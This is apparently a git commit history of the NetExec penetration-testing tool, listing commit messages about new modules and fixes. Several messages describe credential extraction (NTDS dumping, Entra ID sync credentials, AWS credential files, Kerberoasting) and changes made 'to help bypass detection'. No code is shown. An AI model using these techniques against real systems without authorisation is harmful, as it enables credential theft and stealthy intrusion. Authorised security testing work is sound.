Alexander Neff 8cb93db83c Fix file as target 2025-07-20 08:04:56 -04:00
Alexander Neff c43a64c03f Rename module from raw-ntds-copy to ntds-dump-raw 2025-07-20 07:35:54 -04:00
Alexander Neff aa8b1fd97b Add debug logging for exceptions 2025-07-20 07:30:03 -04:00
Alexander Neff 788ba90b97 Move powershell script to file instead of b64 inline 2025-07-19 12:57:43 -04:00
Alexander Neff f7fa1fa1b4 Formatting 2025-07-19 08:24:15 -04:00
Alex 0b5aebd402 Merge branch 'main' into raw-ntds-copy 2025-07-19 14:06:14 +02:00
Alex 858d211417 Merge pull request #800 from Geetub/slinky_set_lnk_target
Slinky set lnk target
2025-07-19 13:24:59 +02:00
Geetub d6fcee6c80 Merge branch 'main' into slinky_set_lnk_target 2025-07-19 13:00:49 +03:00
theuser aa7f6d07b8 Merge branch 'raw-ntds-copy' of github.com:0xb11a1/NetExec into raw-ntds-copy 2025-07-19 13:50:41 +04:00
theuser 2bff24a3ff Code cleanup, remove unnecessary debug information and add comments 2025-07-19 13:42:23 +04:00
termanix f1d39a6e8a DNS resolver change to with connection object 2025-07-18 10:53:21 -04:00
termanix a0fb0f4cca Merge branch 'main' into patch-2 2025-07-18 17:50:01 +03:00
tiagomanunes d063f53b1e Merge branch 'main' into module-usercredman 2025-07-18 09:35:30 +01:00
Tiago Nunes e65303aad6 Ignore dump_method flag 2025-07-18 08:19:43 +02:00
Alex e99e5c244c Merge pull request #808 from Pennyw0rth/neff-fix-veeam
Fix veeam script if there is no salt reg key
2025-07-17 18:21:12 +02:00
Alexander Neff 44624b703c Fix veeam script if there is no salt reg key 2025-07-17 11:43:46 -04:00
Tiago Nunes 6140b3ffdd Bring back the credits 2025-07-17 13:16:37 +02:00
Mickey De Baets edc399736f Merge branch 'main' into main
Signed-off-by: Mickey De Baets <[email protected]>
2025-07-17 12:48:37 +02:00
Tiago Nunes 9614685d2d Move functionality from module into winrm protocol 2025-07-17 12:42:49 +02:00
tiagomanunes 2b7d8abbbe Merge branch 'main' into module-usercredman 2025-07-17 10:55:37 +01:00
mpgn da949f1875 Merge pull request #804 from Pennyw0rth/hosts
Removing the horrible multiple hosts option
2025-07-17 00:15:58 +02:00
mpgn 95cd4f3383 Merge pull request #798 from Pennyw0rth/pso
Switch pso module to core feature
2025-07-17 00:15:41 +02:00
azoxlpf baa735192a add to the e2e tests 2025-07-16 21:53:23 +02:00
termanix e3f7168858 IP resolver change to with DNS query 2025-07-16 12:41:13 -04:00
mpgn e70aaa54c4 fix ruff 2025-07-16 17:36:00 +02:00
Alex 8d53bb5873 Merge pull request #803 from Pennyw0rth/neff-fix-get-network
Refactor get-network and fix encoding
2025-07-16 17:29:52 +02:00
Alexander Neff 753a773043 Remove undocumented option and unique IPs if only IPs are returned 2025-07-16 11:13:00 -04:00
Alexander Neff a565676ea5 Remove check for Record type 'A' which would filter all other 2025-07-16 11:02:19 -04:00
Alexander Neff 6515b0da1a Remove unused functions and imports 2025-07-16 10:44:14 -04:00
Alexander Neff a44389c17b Add correct ldap parsing 2025-07-16 10:42:38 -04:00
mpgn 4dd479a956 remove blank line 2025-07-16 16:25:49 +02:00
mpgn 95e7cdfc9f remove the horrible multiple hosts option 2025-07-16 16:22:04 +02:00
Geetub 0565e4e176 Use ico extension as target
Signed-off-by: Geetub <[email protected]>
2025-07-16 12:51:23 +03:00
Geetub b974d3d67c Use .exe as target
Use .exe as target, since it triggers an SMB query also on Windows Explorer "Details view".

Signed-off-by: Geetub <[email protected]>
2025-07-16 12:08:54 +03:00
mpgn 217adf3a8f add clipboard delay 2025-07-16 09:40:30 +02:00
mpgn 2d0bd8e443 add parsed 2025-07-16 09:33:48 +02:00
mpgn c174e87237 fix search 2025-07-15 23:50:39 +02:00
Geetub d5e6e6d6f3 Use pylnk3.for_file() to set LNK target.
Signed-off-by: Geetub <[email protected]>
2025-07-16 00:14:27 +03:00
mpgn ea525f987f readd missing function 2025-07-15 18:34:13 +02:00
mpgn 6bf9b8acb3 fix ruff 2025-07-15 18:30:08 +02:00
mpgn 9c68f76b73 update test 2025-07-15 18:28:08 +02:00
mpgn 0c967f2b95 fix ruff 2025-07-15 18:27:11 +02:00
mpgn f32dd56fb3 switch pso module to core feature 2025-07-15 18:22:30 +02:00
mpgn 11d484b268 Merge pull request #788 from Pennyw0rth/opsec 2025-07-15 12:03:18 +02:00
Alex 5c2afa9623 Merge branch 'main' into raw-ntds-copy 2025-07-15 00:21:19 +02:00
Alex 8f973b1000 Merge pull request #764 from Pennyw0rth/neff-add-entra-id-sync-extractor 2025-07-14 16:47:34 +02:00
Marshall Hallenbeck 4b37669bda Merge pull request #794 from Pennyw0rth/Marshall-Hallenbeck-update-pr-template
docs: add deprecation change type and clarify e2e tests checklist
2025-07-14 09:18:15 -04:00
Alexander Neff b2503951ab Remove opsec flags of new modules 2025-07-14 08:18:40 -04:00
Alex 46f6dada23 Merge branch 'main' into opsec 2025-07-14 14:17:25 +02:00
Alexander Neff f2cef11e04 Add new ps1 script for extraction 2025-07-14 08:04:48 -04:00
Alexander Neff 0a8ada49f8 Replace msol module with the new entra-id module 2025-07-14 08:04:25 -04:00
Alex 266c6714aa Merge pull request #556 from crosscutsaw/dump-computers
new module: ldap > dump-computers
2025-07-14 13:53:18 +02:00
Alexander Neff e259128ead Linting 2025-07-14 07:50:46 -04:00
Alexander Neff 0eb65ed347 Add e2e test 2025-07-14 07:49:02 -04:00
Alexander Neff 239cc80516 As there have to be computers in a domain (at least the DC) don't check if there are anwsers 2025-07-14 07:48:28 -04:00
Alexander Neff 234b41efa5 Simplify logic 2025-07-14 07:45:02 -04:00
Alexander Neff 8b3bc6b89a Fix description 2025-07-14 07:40:57 -04:00
Alex 3a7b04f83f Merge branch 'main' into dump-computers 2025-07-14 13:39:18 +02:00
crosscutsaw 16a65d4c26 Update dump-computers.py
Signed-off-by: crosscutsaw <[email protected]>
2025-07-14 12:59:07 +03:00
Tiago Nunes 3f1d663121 Add winrm modules to e2e tests 2025-07-14 10:35:59 +02:00
tiagomanunes 32e8603411 Merge branch 'main' into module-usercredman 2025-07-14 09:28:49 +01:00
Marshall Hallenbeck c465d67806 Merge branch 'main' into Marshall-Hallenbeck-update-pr-template 2025-07-13 19:39:46 -04:00
Marshall Hallenbeck 9566b0d31e Merge pull request #795 from Pennyw0rth/Marshall-please-update-your-version
add huge disclaimer to issue template
2025-07-13 19:37:57 -04:00
Marshall Hallenbeck 9d6939a7b1 try to get peoples attention even more
idea of @NeffIsBack 

Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 19:04:42 -04:00
Alex b2aac4e5af Merge pull request #701 from fpreynaud/wcc_llmnr
[WCC] Improve NBTNS check and add LLMNR check
2025-07-14 00:43:52 +02:00
mpgn 472be5aa36 add more verbosity 2025-07-13 23:45:49 +02:00
mpgn 92206c8143 fix output check 2025-07-13 23:41:47 +02:00
Marshall Hallenbeck 2522ee19df add huge disclaimer to issue template
users continuously post issues that have already been resolved, I hope this massive disclaimer will cut down on that

Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 17:24:33 -04:00
Marshall Hallenbeck 9ad951c781 Merge branch 'main' into opsec 2025-07-13 16:14:51 -04:00
Marshall Hallenbeck 22712d6b36 docs: clarify how to fill in checklists
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 16:06:11 -04:00
Marshall Hallenbeck a57d1db4f4 docs: add deprecation change type and clarify e2e tests checklist
If we deprecate something, we should have a type of change checkbox (not every deprecation is breaking)
People are adding features and modules without adding them to the e2e tests

Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 16:00:08 -04:00
Alex 97049a06bd Merge pull request #789 from azoxlpf/fix/get-sid-kcache
fix(ldap): support get-sid and admin flag when using --use-kcache
2025-07-13 21:12:11 +02:00
theuser e51aa58475 Move raw-ntds-copy to a module 2025-07-13 14:26:11 +04:00
azoxlpf d9197c6e9f add raisechild.py 2025-07-12 22:54:09 +02:00
azoxlpf 70463e54a6 fix(ldap): support get-sid and admin flag when using --use-kcache 2025-07-12 21:38:36 +02:00
Alex 68e36dc8ed Merge pull request #769 from sepauli/add-info-field
Add get-info-users module
2025-07-10 23:49:15 +02:00
Alexander Neff 5dd82ffe2d Apply formatting for better readability 2025-07-10 17:45:53 -04:00
Alexander Neff 443a87bf95 Simplify logic 2025-07-10 17:43:23 -04:00
Alexander Neff b9827e5b65 Formatting, remove unused imports and small code improvements 2025-07-10 17:33:53 -04:00
Alex fc71ef81ad Merge pull request #783 from Dfte/qwinsta_grep
Allows --qwinsta to filter for a specific user
2025-07-10 23:07:08 +02:00
Alexander Neff b7d8eeb2bc Merge branch 'main' into qwinsta_grep 2025-07-10 17:04:52 -04:00
Alexander Neff 6796ffaf63 Set empty string as default not boolean 2025-07-10 17:01:46 -04:00
Alexander Neff d60f5b8fad Add comments 2025-07-10 17:00:45 -04:00
Alexander Neff 7f294ae65a Remove already imported os 2025-07-10 15:52:14 -04:00
Alexander Neff 7b6ca4e9dc Fix format string in template 2025-07-10 15:51:38 -04:00
tiagomanunes 718a38d639 Merge branch 'main' into module-usercredman 2025-07-10 19:43:51 +01:00
Alex 7ab386f55d Merge pull request #787 from Dfte/fix_shares_filter
Patches the --filter-shares so that it correctly finds READ,WRITE perm
2025-07-10 01:40:06 +02:00
Alexander Neff 67d8e9ec6c Remove const otherwise the default filter is READ,WRITE 2025-07-09 19:36:06 -04:00
mpgn 1d80c40d05 Merge pull request #784 from azoxlpf/fix/kerberos-ridbrute-spn
setRemoteName to avoid Kerberos SPN resolution error in rid_brute
2025-07-08 00:10:02 +02:00
mpgn aa17bbc32a fix test 2025-07-08 00:04:28 +02:00
mpgn 0f62ca59cd better catch and add no output option 2025-07-07 23:05:04 +02:00
mpgn f17f091d6b use clipboard to get the result of the command 2025-07-07 20:28:13 +02:00
azoxlpf 3c521b750e Fix indentation 2025-07-07 12:53:03 +02:00
azoxlpf 45760c1031 Fix 2025-07-07 12:50:41 +02:00
Aurélien CHALOT adbf4f5926 Remove useless blank line 2025-07-07 12:21:38 +02:00
Aurélien CHALOT 3cdc648073 Remove log.fail messages 2025-07-07 12:20:29 +02:00
Aurélien CHALOT 9049e58252 Remove log.fail messages 2025-07-07 12:01:42 +02:00
FaganAfandiyev 8459d608c8 Remove [HISTORY] in output and add e2e tests 2025-07-07 05:52:55 -04:00
mpgn 246e7e5d27 remove the horrible opsec flag 2025-07-07 11:26:06 +02:00
mpgn aa6e504aa5 remove the horrible opsec flag 2025-07-07 11:22:25 +02:00
Aurélien CHALOT 3549ce5e76 Lower permission checks, merge both options into --shares and add deprecation warning 2025-07-07 10:41:30 +02:00
Alex 638c10145a Merge pull request #782 from Dfte/tasklist_grep
Add process filtering in --tasklist
2025-07-06 21:31:52 +02:00
Aurélien CHALOT e6ce6da442 Patches the --filter-shares so that it correctly finds READ,WRITE perm 2025-07-06 20:27:16 +02:00
azoxlpf ec66078bc2 setRemoteName to avoid Kerberos SPN resolution error in rid_brute 2025-07-06 19:34:44 +02:00
Sebastian Pauli db93f5b026 add change requests
Signed-off-by: Sebastian Pauli <[email protected]>
2025-07-05 19:05:24 +02:00
Alexander Neff bfcc73541f Merge branch 'main' into tasklist-filter 2025-07-05 12:06:43 -04:00
Alex dc239dad22 Merge pull request #779 from Dfte/add_taskkill
Add the taskkill option
2025-07-05 18:05:04 +02:00
Alexander Neff c1dfefd2a1 Use build in exception traceback instead of traceback.format_exc 2025-07-05 10:50:25 -04:00
Alexander Neff 1865d420cf Allow grep like searching 2025-07-05 10:35:25 -04:00
Alexander Neff 2505be41ee Remove spaces 2025-07-05 10:26:05 -04:00
Alexander Neff 8cd6447ca1 Use format strings 2025-07-05 10:25:51 -04:00
Aurélien CHALOT 1c262fe6ff Update so that it supports passing a file with usernames 2025-07-05 14:56:58 +02:00
Aurélien CHALOT 2febbf654c Updates qwinsta 2025-07-05 10:21:48 +02:00
Aurélien CHALOT b01d410fd6 Updates tasklist 2025-07-05 10:00:39 +02:00
Alex 991f871b49 Merge pull request #777 from Dfte/patch_qwinsta_tasklist
Patch --qwinsta --tasklist stack trace
2025-07-04 22:03:14 +02:00
Aurélien CHALOT ed4e4a1e3e Add the taskkill option 2025-07-04 18:30:33 +02:00
Aurélien CHALOT 9e8ae0364d Patch --qwinsta --tasklist stack trace 2025-07-04 15:32:01 +02:00
Alex bbca423a1e Merge pull request #763 from Pennyw0rth/neff-add-entry-id-finder
Add module to find the entra-id sync server
2025-07-03 18:56:05 +02:00
Alex f9358078cd Merge pull request #774 from Powett/patch-1
Update bitlocker.py - Corrected BitLocker EncryptionMethods
2025-07-03 18:30:32 +02:00
Alex 70e3fc8a81 Merge pull request #775 from Pennyw0rth/neff-patch-1
State that using a BINARY for schtask_as is optional
2025-07-03 18:14:52 +02:00
Alexander Neff ac15a720d4 State that using a BINARY for schtask_as is optional 2025-07-03 12:10:25 -04:00
Alex 1b620c0d16 Merge pull request #735 from kaisersource/patch-1
Image size improvements and pinned Netexec version
2025-07-03 17:41:13 +02:00
Alexander Neff 20d6e319dc Add info log message to get the raw info of the found entra id related accounts 2025-07-03 11:38:40 -04:00
Powett fdb5608fed Update bitlocker.py - Corrected BitLocker EncryptionMethods
According to https://learn.microsoft.com/en-us/windows/win32/secprov/win32-encryptablevolume, the correct mapping is as follows.

Signed-off-by: Powett <[email protected]>
2025-07-03 16:37:36 +02:00
mpgn b0263cb93b Merge pull request #773 from azoxlpf/fix/smb-error-coloring
fix: color SMB STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT as magenta
2025-07-02 22:39:16 +02:00
azoxlpf 01c2bd5508 fix: color SMB STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT as magenta 2025-07-02 22:20:30 +02:00
Alex 3bccec9839 Merge pull request #772 from Pennyw0rth/neff-fix-pre2k
Only display success message if accounts found
2025-07-02 21:40:33 +02:00
Alexander Neff 67e21e177e Only display success message if accounts found 2025-07-02 15:14:29 -04:00
Mickey De Baets 25600ad5df Merge branch 'main' into main 2025-07-02 13:34:13 +02:00
Sebastian Pauli 1a4ea1eb37 fix poetry checks
Signed-off-by: Sebastian Pauli <[email protected]>
2025-07-01 19:26:27 +02:00
Sebastian Pauli 39e8e6e264 create get-info-users
Signed-off-by: Sebastian Pauli <[email protected]>
2025-07-01 18:53:32 +02:00
Tiago Nunes 952e2cfadd First release candidate of usercredman module for winrm 2025-07-01 14:25:51 +02:00
Alex c1b04216d1 Merge pull request #767 from tiagomanunes/bugfix-winrm-ps_execute 2025-07-01 10:24:33 +02:00
Alex e4754628d1 Merge pull request #766 from v3gahax/main 2025-07-01 10:22:43 +02:00
Tiago Nunes 8db4ba446a Fix winrm's ps_execute() to return output 2025-07-01 09:00:22 +02:00
v3ga 3db348e262 Update wcc.py
Corrected typos in wcc.py

Signed-off-by: v3ga <[email protected]>
2025-06-30 19:09:13 -07:00
Alexander Neff 915faa2564 Add disclaimer, that the Entra ID sync service is probably not installed on the target 2025-06-30 06:31:03 -04:00
Alexander Neff d56be12d17 Highlight the IP address 2025-06-30 06:18:05 -04:00
mpgn 29a437938c Merge pull request #765 from azoxlpf/Fix/TGS-REP
fix hashcat/John format for TGS-REP
2025-06-30 10:57:35 +02:00
azoxlpf 4c0ebf0b1e fix hashcat/John format for TGS-REP 2025-06-30 10:38:55 +02:00
Alexander Neff e1136f681c Formatting 2025-06-29 19:38:44 -04:00
Alexander Neff ce157470a1 Finish entry-sync-creds module 2025-06-29 19:38:35 -04:00
Alexander Neff 48a0e5e3f2 Heavily reduce ps script length to fit in limit 2025-06-29 19:38:18 -04:00
Alexander Neff dc2d748b6e Typo 2025-06-29 17:26:09 -04:00
Alexander Neff ec2f4cc500 Rename typo in filename 2025-06-29 17:22:59 -04:00
Alexander Neff 665b77d5e6 Add semi working Extractor script for entra id creds 2025-06-29 17:21:18 -04:00
Alexander Neff 23bee813b7 Remove unnecessary host info and formatting 2025-06-29 11:53:56 -04:00
Alexander Neff 8415e25698 Init module to extract entry id sync credentials 2025-06-29 11:43:47 -04:00
Alexander Neff e2a7d5c597 Add module to find the entra-id sync server 2025-06-29 11:42:58 -04:00
zblurx d28b11df42 Merge pull request #760 from Pennyw0rth/enum_links_fix
Fix enum_links module privilege requirement
2025-06-26 18:37:24 +02:00
zblurx 716ddf2ca0 fix enum_links module privilege requirement 2025-06-26 17:07:41 +02:00
FaganAfandiyev d80568056b Add --history option for NTDS 2025-06-25 16:14:59 -04:00
mpgn dea04c9664 Merge pull request #756 from Pennyw0rth/preauth 2025-06-25 08:22:23 +02:00
mpgn a6225e5df7 fix review 2025-06-25 00:30:03 +02:00
mpgn 64cbd35206 update flag to better understant 2025-06-24 21:40:02 +00:00
mpgn 26c3f661a2 Merge pull request #755 from Pennyw0rth/mssql
Update mssql enum login
2025-06-24 11:31:59 +02:00
mpgn 1ffe908f80 fix review 2025-06-24 10:36:27 +02:00
mpgn 9bd4f91d58 fix review 2025-06-24 10:29:33 +02:00
termanix a2ea6b9db7 Refactor strict attribute access
Signed-off-by: termanix <[email protected]>
2025-06-24 10:48:35 +03:00
termanix 7c9786d954 Merge branch 'main' into patch-1 2025-06-24 09:45:32 +03:00
mpgn 832969cf09 better output 2025-06-24 00:38:05 +02:00
mpgn cf99d9cd45 better mssql enum login 2025-06-23 21:52:27 +02:00
Alex e446d36779 Merge pull request #750 from Pennyw0rth/neff-fix-issues 2025-06-21 19:25:26 +02:00
Xed e2a530af15 Merge branch 'main' into drop_library_ms 2025-06-21 14:06:45 +02:00
Alexander Neff e87e80a58d Fix file path on windows, #746 2025-06-19 13:52:32 -04:00
Alexander Neff d317d4993f Fix #748 2025-06-19 13:52:09 -04:00
Alex 4d0f950de0 Merge pull request #719 from azoxlpf/feat/kerberoast-no-preauth
Add Kerberoasting support with no-preauth user
2025-06-19 17:25:38 +02:00
Alexander Neff 203f532401 Linting 2025-06-19 11:15:20 -04:00
zblurx 4f8587f6a7 Merge pull request #745 from Pennyw0rth/fix-cbt-check
Fix #744
2025-06-19 11:34:18 +02:00
Alex 4d7ec6ea92 Merge pull request #747 from Reelix/patch-1 2025-06-18 17:11:01 +02:00
Reelix 6562500d0a Fixed minor typo in issue template
openning -> opening

Signed-off-by: Reelix <[email protected]>
2025-06-18 16:59:11 +02:00
mpgn 581fa4ae19 fix 2025-06-17 17:00:13 +02:00
mpgn 66c8d0cea7 update rdp exec code 2025-06-17 16:59:14 +02:00
zblurx b7259fd68c Fix #744 2025-06-17 16:58:58 +02:00
Alex 9ca183d549 Merge pull request #743 from Pennyw0rth/neff-fix-cbt-check
Fix conn reset error on windows if dc doesnt have tls cert
2025-06-17 13:57:14 +02:00
mpgn f227432e7d Merge pull request #739 from Pennyw0rth/fix_is_dc
Fix function to check if hosts is a dc or not
2025-06-17 13:54:08 +02:00
Alexander Neff 79b6c7a2ad Fix conn reset error on windows if dc doesnt have tls cert 2025-06-17 07:38:23 -04:00
Alex 0630e22503 Merge pull request #608 from termanix/notepad
New SMB Module Notepad
2025-06-17 13:27:17 +02:00
Alexander Neff 74ecd3ab37 Don't break out of loop if one file doesn't have meaningful content 2025-06-17 07:07:50 -04:00
Alexander Neff 17e03d2405 Retrieve files after killing the process 2025-06-17 07:07:23 -04:00
mpgn ca932eb383 fix error is dc 2025-06-17 09:41:20 +02:00
Alex a48cbdb562 Merge pull request #741 from Pennyw0rth/neff-fix-ldap 2025-06-16 21:49:29 +02:00
termanix 9b31baa7ff added to e2e 2025-06-16 15:21:17 -04:00
termanix 376b7e0762 removed unnecessary search 2025-06-16 15:20:10 -04:00
termanix 2c6e23c4c0 Merge branch 'main' into patch-1 2025-06-16 22:05:41 +03:00
Alexander Neff 659c2256dc Skip cbt check if port explicitly set to 389 2025-06-16 14:34:14 -04:00
mpgn 01b83d44d3 fix review 2025-06-16 17:56:18 +00:00
termanix 05ad12f911 add kill option if user wants to kill process and read files 2025-06-16 13:50:33 -04:00
termanix 059a20b52b Merge branch 'main' into notepad 2025-06-16 18:05:42 +03:00
mpgn a81cc6740b Merge branch 'main' into feat/kerberoast-no-preauth 2025-06-16 16:42:11 +02:00
Alexander Neff e17b5ada8c Prevent crash when password flag was not specified 2025-06-16 09:56:49 -04:00
Alexander Neff 5fb9946d8a Swap logic to -u asreproastable --no-preauth kerberoastable 2025-06-16 09:50:19 -04:00
Alexander Neff dd637cfb18 Fix setting username when we authenticate with ccache 2025-06-16 09:47:27 -04:00
Alexander Neff b6a0599252 Require username/user list for no-preauth to kerberoast them 2025-06-16 08:54:24 -04:00
Alexander Neff 9e780c71a9 Use kerberos with no-preauth and allow preauth authentication if flag is set 2025-06-16 08:53:50 -04:00
Alexander Neff 4cd0bf12c7 Fix indentation 2025-06-16 08:01:18 -04:00
Alex fde3de726e Merge pull request #455 from dev-fortress/aws-credentials
New module: AWS Credentials Finder
2025-06-16 13:49:06 +02:00
Alexander Neff 09bdf0b6a6 Apply changes by @dev-fortress 2025-06-16 07:41:29 -04:00
Alexander Neff 6ef84832bf Revert "Update aws-credentials.py"
This reverts commit fc0c615fcd.
2025-06-16 07:40:57 -04:00
azoxlpf 2922c04645 fix: corrected bad variable name 2025-06-16 08:31:47 +02:00
mpgn 9a755391f1 check only if port 135 is open, better faster 2025-06-15 23:57:53 +02:00
mpgn 14b1bc63b8 add more resiliant check on dc in case rpc is filtered 2025-06-15 22:53:45 +02:00
mpgn 3fe32d6530 add timeout to isdc function in case rpc is blocked 2025-06-15 22:39:43 +02:00
Braiant Giraldo fc0c615fcd Update aws-credentials.py
Refined AWS credentials detection: updated both Bash and PowerShell scripts to search only for files named 'credentials' that contain the keyword 'aws', which is consistently present in relevant AWS configuration files. Removed 'config' from the scope after confirming it contains no useful information. Also suppressed 'permission denied' errors in the Bash script for cleaner output during scans.

Signed-off-by: Braiant Giraldo <[email protected]>
2025-06-14 19:40:41 -05:00
Professor Bossetti 0f6f6ad9e6 Merge branch 'main' into patch-1 2025-06-14 12:43:01 +02:00
Alex 31acd22652 Merge pull request #737 from Pennyw0rth/neff-fix-badsuccessor 2025-06-14 11:26:59 +02:00
Professor Bossetti 3332bee3d5 Alignment with main branch 2025-06-14 06:54:26 +00:00
Alexander Neff 094cab542f Fix dns resolution when finding 2025 dc 2025-06-13 18:12:12 -04:00
Kahvi-0xFF c64a5b13aa Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-13 10:14:15 -04:00
zblurx 2cd67b9dd3 Merge pull request #718 from rtpt-romankarwacik/efsr_spray_module
Add efsr_spray module
2025-06-13 15:03:56 +02:00
zblurx 4a7ad60f62 Merge branch 'main' into efsr_spray_module 2025-06-13 15:01:27 +02:00
Professor Bossetti 2bd75d987f Image size improvements and pinned Netexec version
Minimized final image size (From ~2 GB to ~350 MB)
Pinned a stable NetExec version

Signed-off-by: Professor Bossetti <[email protected]>
2025-06-13 12:09:51 +02:00
azoxlpf f3e60e5ed6 refactor(kerberos): unify AES etype handling and use f-strings 2025-06-13 10:06:28 +02:00
fpreynaud d4168b425b Merge branch 'main' into wcc_llmnr 2025-06-13 09:41:13 +02:00
Alex aec6448241 Merge pull request #493 from Yeeb1/module_ggp_privs
Add new SMB module to extract GPO deployed privilege assignments
2025-06-13 00:33:33 +02:00
Alexander Neff 25fee91e4e Replace share listing with test read on SYSVOL share 2025-06-12 18:29:01 -04:00
Alexander Neff 55cd9bb88d Fix retrieving defaultNamingContext from ldap connection 2025-06-12 18:14:47 -04:00
Alexander Neff 64ccbbb5df Formatting 2025-06-12 18:14:08 -04:00
crosscutsaw 04aca03a9f Update rclone.py
Signed-off-by: crosscutsaw <[email protected]>
2025-06-13 00:47:52 +03:00
Alexander Neff bfada649f3 Formatting 2025-06-12 16:39:52 -04:00
Alex 1779e842ff Merge branch 'main' into module_ggp_privs 2025-06-12 21:02:16 +02:00
Kahvi-0xFF 72deeca890 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-12 09:50:43 -04:00
Kahvi-0xFF a62df1b1dd Merge branch 'Pennyw0rth:main' into main 2025-06-12 09:31:54 -04:00
Kahvi-0xFF cbcc26f2c5 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-12 09:31:24 -04:00
termanix 3f78320966 ruff fix 2025-06-12 08:03:42 -04:00
termanix 6bbe239166 Added LDAP Search OUs 2025-06-12 07:38:29 -04:00
Roman Karwacik ff0c47bd5e check if pipe was activated even if deletion was not successful 2025-06-12 12:31:41 +02:00
Alex 0cb26b9760 Merge branch 'main' into efsr_spray_module 2025-06-11 11:24:07 +02:00
Roman Karwacik dbd476d3aa linting 2025-06-11 11:07:51 +02:00
Roman Karwacik a5dbfdbab4 add option to exclude shares and exclude SYSVOL by default 2025-06-11 11:06:24 +02:00
termanix 7a39c4bd46 removed unnecessary lines, editted try&except blocks 2025-06-10 16:03:22 -04:00
Alex f5604a63d1 Merge branch 'main' into refactor_SMBSpider 2025-06-10 16:04:18 +01:00
termanix 15376c3fdb Merge branch 'Pennyw0rth:main' into notepad 2025-06-10 17:26:29 +03:00
Alex 5da5bf1271 Merge pull request #649 from d4ytox/Refactoring-NXC_PATH
Refactoring nxc path and adding support for XDG Base Directory - addressing issue #558
2025-06-10 14:54:32 +02:00
Alexander Neff 06c0a7fb3d Linting 2025-06-10 08:43:08 -04:00
Alexander Neff ea0a42af7c Fix path in user-desc module 2025-06-10 08:38:57 -04:00
Alexander Neff e2351bac12 Remove legacy code 2025-06-10 08:22:45 -04:00
Alexander Neff 5101a96e03 Replace config paths with variable and formatting 2025-06-10 08:14:51 -04:00
Alexander Neff 029ec26024 Remove legacy code 2025-06-10 08:03:49 -04:00
Alexander Neff b9bee6bb0b Use NXC_PATH instead of XDG env var and also initialize TMP folder when nxc folder exists 2025-06-10 07:59:27 -04:00
Alexander Neff 07803cb58c Use NXC_CONFIG instead of retrieving it with NXC_PATH/nxc.conf 2025-06-10 07:58:44 -04:00
Alex 7ea164af97 Normpath for nxc folder 2025-06-10 12:47:02 +02:00
Alex 0b4d0bb21c Replace single quotes 2025-06-10 12:46:37 +02:00
Alex 4af8b4a826 Merge branch 'main' into refactor-nxc-path 2025-06-10 12:45:33 +02:00
haytehcy a0ab16c45b minor tweaks 2025-06-10 10:48:21 +01:00
Alex 1f07880e4e Merge branch 'Pennyw0rth:main' into refactor_SMBSpider 2025-06-10 09:33:21 +01:00
haytehcy ae44a34e74 Added a few more QOL changes to spider 2025-06-10 09:32:37 +01:00
Roman Karwacik 318ac2ec61 move fail logs into single row for better readability 2025-06-10 09:06:42 +02:00
Roman Karwacik aae875d1cd removed hardcoded error messages 2025-06-10 09:03:52 +02:00
Alexander Neff 3bc5371dd9 Reset tab counter for each user 2025-06-09 16:28:34 -04:00
Alexander Neff 609b0ee2db Formatting 2025-06-09 15:48:03 -04:00
Alexander Neff bbd0ae1200 Formatting 2025-06-09 15:39:37 -04:00
Alex 7a1eca10d6 Merge branch 'main' into notepad 2025-06-09 21:36:32 +02:00
Alex 3591950f02 Merge pull request #725 from Mojo8898/main
Fixing --generate-hosts-file smb option
2025-06-09 15:31:26 +02:00
Alex 1393d13106 Merge pull request #561 from crosscutsaw/presence
new module: smb > presence
2025-06-08 18:24:41 +02:00
Mickey De Baets af39e64aff Merge branch 'main' into main 2025-06-08 14:25:09 +02:00
Mojo8898 eb7b522552 Fixing --generate-hosts-file smb option 2025-06-08 04:42:58 -04:00
Alex 812c277daa Merge pull request #724 from Pennyw0rth/neff-add-ls-check
Add error handling if we can't mount share with --ls
2025-06-07 15:13:52 +02:00
Alexander Neff cdecf3f979 Add error handling if we can't mount share with --ls 2025-06-07 14:52:41 +02:00
Alex 9f7c35cb33 Merge pull request #722 from Pennyw0rth/neff-fix-version-log
Move version log after file logger is attached
2025-06-06 16:30:33 +02:00
Alexander Neff 8e30699886 Move version log after file logger is attached so it is in the file log as well 2025-06-06 10:23:30 -04:00
Kahvi-0xFF 5699ccc173 Update schtask_as.py - added option to specify exec method
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-05 10:10:36 -04:00
zblurx 57b3f022ba update db mismatch error printed 2025-06-05 15:45:16 +02:00
zblurx 9d3e820aac update database table declaration 2025-06-05 15:39:57 +02:00
Kahvi-0xFF 7e23fb3a9a Update atexec.py to help bypass detection
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-05 09:13:02 -04:00
Kahvi-0xFF c027b4a519 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:32:41 -04:00
Kahvi-0xFF 9d2a1e86b7 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:32:01 -04:00
Kahvi-0xFF cd33dc9eb5 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:23:45 -04:00
Kahvi-0xFF 5ca5c96015 Update schtask_as.py to help bypass detection
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:11:21 -04:00
azoxlpf 358c4ad3fc Add Kerberoasting support with no-preauth user 2025-06-04 11:11:47 +02:00
Roman Karwacik f2b180e9ca Add efsr_spray module 2025-06-04 09:26:04 +02:00
Alex fbc787c620 Merge pull request #717 from Pennyw0rth/neff-fix-query
Fix querying when non searchResultEntries are returned
2025-06-03 22:39:20 +02:00
Alexander Neff 76ed75e58b Skip non-searchResult entries similar to how the parser works 2025-06-03 15:59:05 -04:00
haytehcy ac4c470c16 Minor Tweaks to Spider 2025-06-03 18:31:30 +01:00
Alex 00ffc96832 Merge branch 'Pennyw0rth:main' into refactor_SMBSpider 2025-06-03 17:30:54 +01:00
Alex 3e3987451b Merge pull request #712 from Pennyw0rth/neff-fix-asreproast-anon
Enable asreproast with anonymous ldap logins
